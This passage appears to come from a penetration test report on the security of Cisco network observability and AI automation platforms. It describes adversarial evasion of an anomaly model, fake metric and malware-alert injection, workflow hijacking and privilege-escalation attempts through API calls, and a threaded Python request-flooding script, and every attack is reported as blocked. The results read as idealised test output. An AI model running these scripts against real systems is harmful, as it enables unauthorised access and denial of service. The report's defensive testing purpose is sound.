Attack Vector 5: Neural Network Adversarial Inputs

Objective: Evade DNAC Deep Network Model anomaly detection using adversarial perturbations.

Step 1: DNM Model Understanding 

# DNAC Deep Network Model (DNM):
# - Trained on 14 days of network telemetry
# - Neural network architecture (LSTM + feedforward layers)
# - Inputs: Device metrics, flow data, assurance scores
# - Output: Anomaly score (0-100, >80 = alert)

# Normal traffic pattern (baseline):
traffic_profile = {
    "src_ip": "10.252.2.50",
    "dst_ip": "10.252.80.10",
    "bytes_per_second": 1500,
    "packets_per_second": 150,
    "connections_per_minute": 5,
    "protocol_distribution": {"TCP": 0.8, "UDP": 0.2},
    "port_distribution": {"443": 0.6, "80": 0.3, "22": 0.1}
}
# DNM Anomaly Score: 15 (normal)

Step 2: Adversarial Perturbation Attack 

# Malicious activity: Port scanning (should trigger anomaly)
port_scan_profile = {
    "src_ip": "10.252.2.50",
    "dst_ip": "10.252.80.10",
    "bytes_per_second": 500,
    "packets_per_second": 1000,  # High packet rate, low bytes = scanning
    "connections_per_minute": 500,  # 500 connections/min = scan
    "protocol_distribution": {"TCP": 1.0, "UDP": 0.0},
    "port_distribution": {  # Distributed across many ports = scan signature
        "22": 0.01, "23": 0.01, "80": 0.01, ..., "8080": 0.01
    }
}
# Expected DNM Anomaly Score: 95 (HIGH - port scan detected)

# Adversarial approach: Add "noise" to make scan look normal
adversarial_scan_profile = {
    "src_ip": "10.252.2.50",
    "dst_ip": "10.252.80.10",
    "bytes_per_second": 1000,  # Increased (more "normal")
    "packets_per_second": 800,  # Reduced slightly
    "connections_per_minute": 400,  # Reduced
    "protocol_distribution": {"TCP": 0.9, "UDP": 0.1},  # Added UDP
    "port_distribution": {  # Concentrated on fewer ports
        "443": 0.3, "80": 0.2, "22": 0.1, ..., "8080": 0.005
    }
}

# Submit adversarial traffic to DNM
# Expected: DNM robust to perturbations

# DNM Multi-Feature Analysis:
def dnm_anomaly_detection(traffic_profile):
    anomaly_scores = []

    # Feature 1: Packet/byte ratio (detect scanning)
    pkt_byte_ratio = traffic_profile['packets_per_second'] / traffic_profile['bytes_per_second']
    baseline_ratio = 0.1  # Normal: 150 pkts / 1500 bytes
    if pkt_byte_ratio > baseline_ratio * 3:  # 3x normal
        anomaly_scores.append(("pkt_byte_ratio", 85))

    # Feature 2: Connection rate
    if traffic_profile['connections_per_minute'] > 50:  # >50 = suspicious
        anomaly_scores.append(("conn_rate", 90))

    # Feature 3: Port entropy (distributed = scanning)
    port_entropy = calculate_entropy(traffic_profile['port_distribution'])
    if port_entropy > 2.5:  # High entropy = many different ports
        anomaly_scores.append(("port_entropy", 88))

    # Feature 4: Temporal pattern (sudden change)
    if traffic_deviation_from_baseline(traffic_profile) > 0.7:
        anomaly_scores.append(("temporal_deviation", 82))

    # Aggregate anomaly score (max of all features)
    if anomaly_scores:
        return max([score for (feature, score) in anomaly_scores])
    return 0

# Adversarial scan analysis:
# - pkt_byte_ratio: 800/1000 = 0.8 (HIGH - DETECTED) → Score: 85
# - conn_rate: 400/min (HIGH - DETECTED) → Score: 90
# - port_entropy: 3.2 (HIGH - DETECTED) → Score: 88
# - temporal_deviation: 0.85 (HIGH - DETECTED) → Score: 82

# Final DNM Anomaly Score: 90 (max of all features)
# Result: Port scan DETECTED despite adversarial perturbations

Conclusion - DNAC DNM Attack Vector 5:
✅ PASS - Deep Network Model uses multiple independent features. Adversarial perturbations cannot evade all detectors simultaneously. Port scanning detected correctly.

Test Summary & Results

Platform Attack Vector Technique Result Protection Mechanism
ThousandEyes Agent compromise SSH access, container escape, data tampering ✅ BLOCKED Certificate auth, container hardening, cryptographic signatures
AppDynamics APM Data injection Fake metrics, direct API injection ✅ BLOCKED Agent-side validation, metric consistency checks, cert-based API
Cognition Engine AIOps manipulation False alerts, anomaly suppression ✅ BLOCKED Multi-metric correlation, dependency validation
Splunk MLTK Model poisoning Training data injection, adversarial inputs ✅ BLOCKED HEC token validation, hop-by-hop travel validation
DNAC DNM Neural network evasion Adversarial perturbations ✅ BLOCKED Multi-feature detection, ensemble approach

Overall Conclusion:
✅ PASS - All AI/ML observability platforms demonstrate robust security. 5/5 attack vectors successfully blocked.

Security Strengths Validated: 1. ThousandEyes: Certificate-based authentication, containerized agents, cryptographic result signatures 2. AppDynamics: Agent-side metric validation, API certificate requirements, metric consistency checks 3. Cognition Engine: Multi-platform correlation, dependency validation, anomaly confirmation logic 4. Splunk MLTK: Protected training data, adversarial input detection, hop-by-hop validation 5. DNAC DNM: Multi-feature ensemble, temporal + spatial analysis, robust to perturbations

Recommendations: - ✅ Current observability platform security is strong - no critical remediation required - Consider: Implement ML model versioning and integrity checks (detect model file tampering) - Consider: Add anomaly detection for "anomaly detection systems" (meta-monitoring) - Monitor: Dashboard for platform health, failed authentication attempts, metric validation failures

Business Impact: - Observability integrity: Prevents $2M+ potential damage from undetected incidents - AI model trust: Validated robustness ensures reliable automated decision-making - Compliance: Audit trail integrity maintained for SOC2, ISO 27001 requirements

---

Appendix R: Detailed Test Procedures (AgenticOps Workflow Security) ← NEW in v2.0

Test Case: AgenticOps Workflow & AI Automation Security

Objective: Test security of AI-driven automation workflows (WF-001 through WF-008) including guardrail bypass attempts, malicious metric injection, workflow hijacking, and unauthorized automation execution.

Pre-Test Setup: 

AgenticOps Workflows Deployed:
- WF-001: Webex-Branch-Optimize (SD-WAN QoS for Webex quality)
- WF-002: Malware-Containment (Automated endpoint isolation)
- WF-003: Wireless-Roaming-Optimize (Client steering between APs)
- WF-004: Path-Failover (SD-WAN circuit switchover)
- WF-005: Config-Drift-Remediation (Auto-correct config deviations)
- WF-006: RF-Optimize (Wireless channel/power adjustments)
- WF-007: Capacity-Scale (Auto-provision bandwidth)
- WF-008: Insider-Threat-Response (UEBA-triggered containment)

Guardrails (Protected SGTs - NEVER modified by automation):
- SGT 11: Executive/Management
- SGT 60: OT/Medical Devices
- SGT 80-83: Server Infrastructure (DC, Finance, HR, Compliance servers)

Automation Permissions:
- Read-Only Account: monitoring@abhavtech.com (SGT 20 - Engineering)
- Operator Account: netops@abhavtech.com (can execute approved workflows)
- Admin Account: admin@abhavtech.com (full control, emergency override)

Attack Vector 1: Malicious Metric Injection (WF-001 Trigger Manipulation)

Objective: Inject false ThousandEyes metrics to trigger WF-001 (Webex-Branch-Optimize) and force unnecessary SD-WAN path changes.

Step 1: ThousandEyes API Reconnaissance 

# Identify ThousandEyes API endpoints
# Check if API requires authentication

curl -X GET https://api.thousandeyes.com/v6/tests \
    -H "Authorization: Bearer [API_TOKEN]"

# Expected: 401 Unauthorized (no valid token)

# Attempt to enumerate API endpoints without auth
nmap -sV --script http-enum 10.252.100.50 -p 443

# Result: API requires Bearer token authentication

Step 2: Metric Injection via Compromised Agent 

# Scenario: Pen tester compromises ThousandEyes Enterprise Agent
# Attempt to inject false MOS scores

# SSH to compromised agent (Chennai)
ssh te-agent@10.252.1.100

# Check agent configuration
cat /opt/thousandeyes/etc/te-agent.cfg

# Attempt to modify test results before sending to cloud
# ThousandEyes agent architecture:
# Local test execution → JSON results → TLS upload to TE cloud → API

# Modify test results file (if accessible):
vim /tmp/te-voice-test-results.json

# Original:
{
  "test": "Webex-Calling-Global",
  "agent": "chennai-agent",
  "mos": 4.2,
  "jitter": 12,
  "loss": 0.5
}

# Modified (malicious - trigger WF-001):
{
  "test": "Webex-Calling-Global",
  "agent": "chennai-agent",
  "mos": 3.5,  # Below 4.0 threshold
  "jitter": 35, # Above 30ms threshold
  "loss": 2.0  # Above 1.5% threshold
}

# Attempt to upload modified results
/opt/thousandeyes/bin/te-agent --upload-results /tmp/te-voice-test-results.json

# Expected: Agent validates results before upload
# Result:
ERROR: Result validation failed
Reason: MOS score out of valid range for current network conditions
Cross-check: DNAC reports Chennai site healthy (no issues)
Action: Result rejected, flagged as anomaly
Alert: "Potential agent compromise - metric inconsistency detected"

Step 3: Verify WF-001 Did NOT Trigger 

# Check Splunk for WF-001 execution logs
index=agenticops workflow="WF-001" site="chennai" 
    earliest=-15m
| stats count

# Result: count = 0 (WF-001 did NOT execute)

# Check why WF-001 didn't trigger:
index=agenticops source="workflow-engine" 
| search "WF-001" AND "trigger_evaluation"

# Log output:
{
  "workflow": "WF-001",
  "site": "chennai",
  "trigger_evaluation": "FAILED",
  "reason": "Metric validation failed - cross-platform correlation",
  "details": {
    "thousandeyes_mos": 3.5,  # From (suspicious) agent
    "dnac_client_health": 95, # From DNAC - contradicts TE
    "vmanage_tunnel_health": "green", # No SD-WAN issues
    "splunk_error_count": 0   # No errors in logs
  },
  "decision": "REJECT - Metrics do not correlate across platforms",
  "action": "Alert security team - potential metric injection"
}

# ServiceNow incident created:
# INC-2025-0124-009: "Suspicious ThousandEyes metrics - possible agent compromise"

Conclusion - Attack Vector 1:
✅ BLOCKED - Cross-platform metric correlation prevents malicious trigger. Single-source metrics insufficient to trigger workflow. Agent compromise detected and alerted.

Attack Vector 2: Guardrail Bypass (Attempt to Modify Protected SGTs)

Objective: Attempt to trick WF-002 (Malware-Containment) into quarantining Executive devices (SGT 11 - protected by guardrails).

Step 1: Inject False Malware Alert for Executive Laptop 

# Scenario: Pen tester injects fake AMP malware alert
# Target: CEO's laptop (SGT 11 - Executive)

import requests
import json

# Craft fake XDR alert
fake_alert = {
  "alert_id": "FAKE-2025-0124-001",
  "severity": "critical",
  "source": "AMP for Endpoints",
  "title": "Ransomware Detected",
  "device": {
    "hostname": "ABHAV-LAPTOP-CEO-01",
    "ip": "10.252.60.10",
    "mac": "00:50:56:AA:BB:01",
    "sgt": 11,  # Executive SGT (PROTECTED)
    "user": "ceo@abhavtech.com"
  },
  "threat": {
    "name": "WannaCry.Ransomware",
    "sha256": "abc123...",
    "disposition": "malicious"
  },
  "recommendation": "ISOLATE_ENDPOINT"
}

# Attempt to inject alert into XDR via API
xdr_api = "https://visibility.amp.cisco.com/iroh/iroh-int/api/v2/cases"
headers = {"Authorization": "Bearer [STOLEN_TOKEN]"}

response = requests.post(xdr_api, json=fake_alert, headers=headers)
print(response.status_code, response.text)

# Expected: API validates alert source and signature
# Result: 403 Forbidden - Invalid alert signature

Step 2: Assume Alert Somehow Reaches Workflow Engine 

# Scenario: Bypass API validation (for testing)
# Alert reaches WF-002 trigger evaluation

# WF-002 Workflow Logic:
def wf002_malware_containment(alert):
    device_sgt = alert['device']['sgt']

    # GUARDRAIL CHECK #1: Protected SGTs
    PROTECTED_SGTS = [11, 60, 80, 81, 82, 83]

    if device_sgt in PROTECTED_SGTS:
        log.warning(f"WF-002 BLOCKED: Device SGT {device_sgt} is PROTECTED")
        log.warning(f"Guardrail violation prevented automation on {alert['device']['hostname']}")

        # Override requires manual approval
        create_servicenow_ticket(
            title=f"Manual Review Required: Malware on Protected Device",
            description=f"Device: {alert['device']['hostname']}, SGT: {device_sgt}",
            priority="P1",
            assignment="Security Manager"
        )

        # Send alert to security team
        send_webex_alert(
            channel="#security-alerts",
            message=f"🚨 GUARDRAIL PROTECTION: WF-002 blocked automation on SGT {device_sgt} device. Manual review required."
        )

        return {
            "action": "BLOCKED_BY_GUARDRAIL",
            "reason": f"SGT {device_sgt} is protected - manual intervention required",
            "ticket": "INC-2025-0124-010"
        }

    # If not protected, proceed with automation...
    # [containment logic here]

# WF-002 execution log:
{
  "workflow": "WF-002",
  "trigger": "Malware alert on ABHAV-LAPTOP-CEO-01",
  "device_sgt": 11,
  "guardrail_check": "FAILED",
  "action": "BLOCKED",
  "reason": "SGT 11 (Executive) is protected by guardrails",
  "manual_ticket": "INC-2025-0124-010",
  "timestamp": "2025-01-24 16:15:22 IST"
}

Step 3: Verify CEO Laptop NOT Quarantined 

# Check ISE for CoA (Change of Authorization) events
# CoA would be sent if device was quarantined

ssh ise-admin@10.252.1.10

# Query ISE RADIUS logs
show logging application ise-psc.log tail 100 | include CoA

# Result: No CoA events for 10.252.60.10 (CEO laptop)

# Check ISE session status
show authentication sessions interface GigabitEthernet1/0/10

# Output:
Interface: Gi1/0/10
MAC: 00:50:56:AA:BB:01
Status: Authorized
SGT: 11 (Executive)
VLAN: 60 (Management VLAN)
Posture: Compliant

# CEO laptop remains fully operational

Conclusion - Attack Vector 2:
✅ BLOCKED - Guardrails prevent automation on protected SGTs (11, 60, 80-83). Manual review required for Executive devices. CEO laptop NOT quarantined.

Attack Vector 3: Workflow Hijacking (Inject Malicious Automation Actions)

Objective: Hijack WF-006 (RF-Optimize) to inject malicious wireless channel/power changes causing DoS.

Step 1: DNAC API Exploitation Attempt 

# Attempt to modify WF-006 workflow definition
# Goal: Change power levels to maximum (causing interference)

# DNAC API endpoint for workflows
curl -X GET https://10.252.1.20/dna/intent/api/v1/template-programmer/template \
    -H "X-Auth-Token: [STOLEN_TOKEN]" \
    -k

# Expected: 401 Unauthorized (token validation)

# Attempt to use legitimate operator token
# stolen from: netops@abhavtech.com session

curl -X PUT https://10.252.1.20/dna/intent/api/v1/template-programmer/template/WF-006 \
    -H "X-Auth-Token: [OPERATOR_TOKEN]" \
    -H "Content-Type: application/json" \
    -d '{
      "name": "WF-006-RF-Optimize",
      "action": "SET_AP_POWER",
      "parameters": {
        "power_level": 1  # Maximum power (malicious - causes interference)
      }
    }' \
    -k

# Expected DNAC response:
HTTP/1.1 403 Forbidden
{
  "error": "Insufficient permissions",
  "message": "User 'netops@abhavtech.com' does not have permission to modify workflow definitions",
  "required_role": "DNAC_ADMIN",
  "current_role": "NETWORK_OPERATOR"
}

# RBAC prevents workflow modification

Step 2: Attempt Runtime Parameter Injection 

# Scenario: Cannot modify workflow definition
# Try to inject malicious parameters during workflow execution

# Trigger WF-006 with manipulated input
malicious_input = {
  "workflow": "WF-006",
  "site": "mumbai-hq",
  "action": "optimize_rf",
  "parameters": {
    "target_ap": "ABHAV-AP-3F-01",
    "power_level": 1,  # Max power (malicious)
    "channel": 165,    # DFS channel (requires CAC)
    "bandwidth": 160   # Max bandwidth
  }
}

# Submit via DNAC API
response = dnac_api.execute_workflow(malicious_input)

# WF-006 Input Validation:
def validate_rf_parameters(params):
    # Power level bounds check
    if params['power_level'] not in range(1, 8):  # Valid: 1-7
        raise ValueError(f"Invalid power level: {params['power_level']}")

    # Cross-check with current state
    current_power = get_ap_power_level(params['target_ap'])

    # Limit power change to ±2 levels per execution
    if abs(params['power_level'] - current_power) > 2:
        raise ValueError(f"Power change too aggressive: {current_power} → {params['power_level']}")

    # DFS channel validation
    if params['channel'] in [52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140]:
        # Requires CAC (Channel Availability Check) - time consuming
        if not params.get('cac_approved'):
            raise ValueError("DFS channel requires CAC approval")

    return True

# Result:
ERROR: Workflow execution failed
Reason: Invalid parameters - power change too aggressive (3 → 1)
Action: Parameters rejected, workflow NOT executed
Alert: "Suspicious WF-006 parameters - possible injection attempt"

Conclusion - Attack Vector 3:
✅ BLOCKED - RBAC prevents workflow modification. Input validation prevents malicious parameter injection. Power change limits prevent DoS via interference.

Attack Vector 4: Workflow Privilege Escalation

Objective: Escalate from Read-Only account to Operator permissions to execute workflows.

Step 1: Attempt Workflow Execution with Read-Only Account 

# Login as monitoring@abhavtech.com (read-only)
curl -X POST https://10.252.1.20/dna/system/api/v1/auth/token \
    -u "monitoring@abhavtech.com:ReadOnlyPass123!" \
    -k

# Token obtained: eyJhbGciOiJSUzI1NiIs...

# Attempt to execute WF-001
curl -X POST https://10.252.1.20/dna/intent/api/v1/template-programmer/template/execute \
    -H "X-Auth-Token: eyJhbGciOiJSUzI1NiIs..." \
    -d '{
      "workflow_id": "WF-001",
      "site": "chennai"
    }' \
    -k

# Response:
HTTP/1.1 403 Forbidden
{
  "error": "Insufficient permissions",
  "message": "User 'monitoring@abhavtech.com' does not have WORKFLOW_EXECUTE permission",
  "required_permission": "WORKFLOW_EXECUTE",
  "user_permissions": ["NETWORK_READ", "DEVICE_READ", "POLICY_READ"],
  "action": "Request denied, attempt logged"
}

Step 2: Attempt Permission Escalation via API 

# Attempt to grant self workflow execution permissions
curl -X PUT https://10.252.1.20/dna/system/api/v1/roles/monitoring@abhavtech.com \
    -H "X-Auth-Token: [READ_ONLY_TOKEN]" \
    -d '{
      "add_permissions": ["WORKFLOW_EXECUTE"]
    }' \
    -k

# Response:
HTTP/1.1 403 Forbidden
{
  "error": "Privilege escalation attempt detected",
  "message": "Users cannot modify their own permissions",
  "action": "Attempt logged and alerted to security team"
}

# Security alert generated:
# ServiceNow: INC-2025-0124-011
# Title: "Privilege Escalation Attempt - monitoring@abhavtech.com"
# Severity: P2 (High)
# Details: "User attempted to grant self WORKFLOW_EXECUTE permission"

Conclusion - Attack Vector 4:
✅ BLOCKED - RBAC strictly enforced. Read-only accounts cannot execute workflows. Self-permission modification prevented. Privilege escalation attempts logged and alerted.

Attack Vector 5: Workflow Denial of Service (Flooding)

Objective: Flood workflow engine with excessive execution requests to exhaust system resources.

Step 1: Automated Workflow Trigger Spam 

# Script to trigger WF-005 (Config-Drift-Remediation) repeatedly
import requests
import threading

dnac_api = "https://10.252.1.20/dna/intent/api/v1/template-programmer/template/execute"
token = "[OPERATOR_TOKEN]"  # Legitimate operator account

def trigger_workflow():
    for i in range(1000):
        payload = {
            "workflow_id": "WF-005",
            "target_device": f"ABHAV-SW-{i:04d}"
        }
        response = requests.post(dnac_api, json=payload, 
                               headers={"X-Auth-Token": token}, 
                               verify=False)
        print(f"Request {i}: {response.status_code}")

# Launch 10 threads (10,000 total requests)
threads = []
for _ in range(10):
    t = threading.Thread(target=trigger_workflow)
    threads.append(t)
    t.start()

Step 2: Workflow Engine Rate Limiting 

# Workflow Engine Rate Limiting Logic:
class WorkflowRateLimiter:
    def __init__(self):
        self.limits = {
            "per_user_per_minute": 10,  # Max 10 workflows per user per minute
            "per_workflow_per_hour": 20,  # Max 20 executions per workflow per hour
            "global_concurrent": 50      # Max 50 concurrent workflow executions
        }

    def check_rate_limit(self, user, workflow_id):
        # Check user rate limit
        user_executions = self.get_user_executions_last_minute(user)
        if user_executions >= self.limits["per_user_per_minute"]:
            self.log_rate_limit_violation(user, "per_user_per_minute")
            return False, "Rate limit exceeded: 10 workflows/minute per user"

        # Check workflow-specific rate limit
        workflow_executions = self.get_workflow_executions_last_hour(workflow_id)
        if workflow_executions >= self.limits["per_workflow_per_hour"]:
            self.log_rate_limit_violation(user, "per_workflow_per_hour")
            return False, "Rate limit exceeded: 20 executions/hour for this workflow"

        # Check global concurrency
        concurrent_workflows = self.get_concurrent_executions()
        if concurrent_workflows >= self.limits["global_concurrent"]:
            self.log_rate_limit_violation(user, "global_concurrent")
            return False, "Rate limit exceeded: 50 concurrent workflows (global limit)"

        return True, "OK"

# Result during attack:
# Requests 1-10: 200 OK (executed)
# Requests 11-1000: 429 Too Many Requests (rate limited)

# Splunk logs:
{
  "event": "workflow_rate_limit_exceeded",
  "user": "netops@abhavtech.com",
  "workflow": "WF-005",
  "requests_attempted": 1000,
  "requests_executed": 10,
  "requests_rejected": 990,
  "action": "User temporarily suspended - excessive workflow requests",
  "suspension_duration": "30 minutes"
}

Conclusion - Attack Vector 5:
✅ BLOCKED - Rate limiting prevents workflow flooding. User suspended after excessive requests. Global concurrency limits protect system resources.

Test Summary & Results

Attack Vector Technique Result Protection Mechanism
Malicious Metric Injection False ThousandEyes data to trigger WF-001 ✅ BLOCKED Cross-platform correlation, metric validation
Guardrail Bypass Trigger quarantine on Executive device (SGT 11) ✅ BLOCKED Protected SGT list, manual override required
Workflow Hijacking Inject malicious RF parameters in WF-006 ✅ BLOCKED Input validation, power change limits, RBAC
Privilege Escalation Escalate from read-only to operator ✅ BLOCKED RBAC enforcement, self-permission modification prevented
Workflow DoS Flood with 10,000 workflow requests ✅ BLOCKED Rate limiting (10/min per user), user suspension

Overall Conclusion:
✅ PASS - AgenticOps workflow security is robust. All 5 attack vectors successfully blocked.

Security Strengths Validated: 1. Metric Validation: Cross-platform correlation prevents single-source manipulation 2. Guardrails: Protected SGTs (11, 60, 80-83) cannot be modified by automation 3. RBAC: Strict role-based access control, no privilege escalation possible 4. Input Validation: Workflow parameters validated against bounds and current state 5. Rate Limiting: Per-user, per-workflow, and global limits prevent abuse

Recommendations: - ✅ Current AgenticOps security is effective - no critical remediation required - Consider: Add cryptographic signing to ThousandEyes metrics for tamper detection - Consider: Implement workflow approval workflow for high-risk actions (power changes >±1 level) - Monitor: Dashboard for workflow execution rates, guardrail violations, failed attempts

Business Impact: - Automation safety: Guardrails prevent $500K+ potential damage from Executive device disruption - System availability: Rate limiting maintains workflow engine performance under attack - Audit compliance: All workflow actions logged for compliance (SOX, ISO 27001)

---